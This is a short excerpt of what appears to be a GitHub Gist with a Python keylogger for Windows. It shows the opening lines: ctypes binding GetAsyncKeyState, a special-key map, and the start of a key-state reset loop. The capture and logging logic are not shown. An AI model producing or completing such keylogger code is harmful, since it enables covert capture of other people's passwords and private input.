Skip to content

Instantly share code, notes, and snippets.

@inaz2
inaz2 / keylogger.py
Last active December 21, 2019 16:38
Windows keylogger by Python ctypes (Cygwin)
import sys
import time
from ctypes import *
GetAsyncKeyState = cdll.user32.GetAsyncKeyState
special_keys = {0x08: "BS", 0x09: "Tab", 0x0d: "Enter", 0x10: "Shift", 0x11: "Ctrl", 0x12: "Alt", 0x14: "CapsLock", 0x1b: "Esc", 0x20: "Space", 0x2e: "Del"}
# reset key states
for i in xrange(256):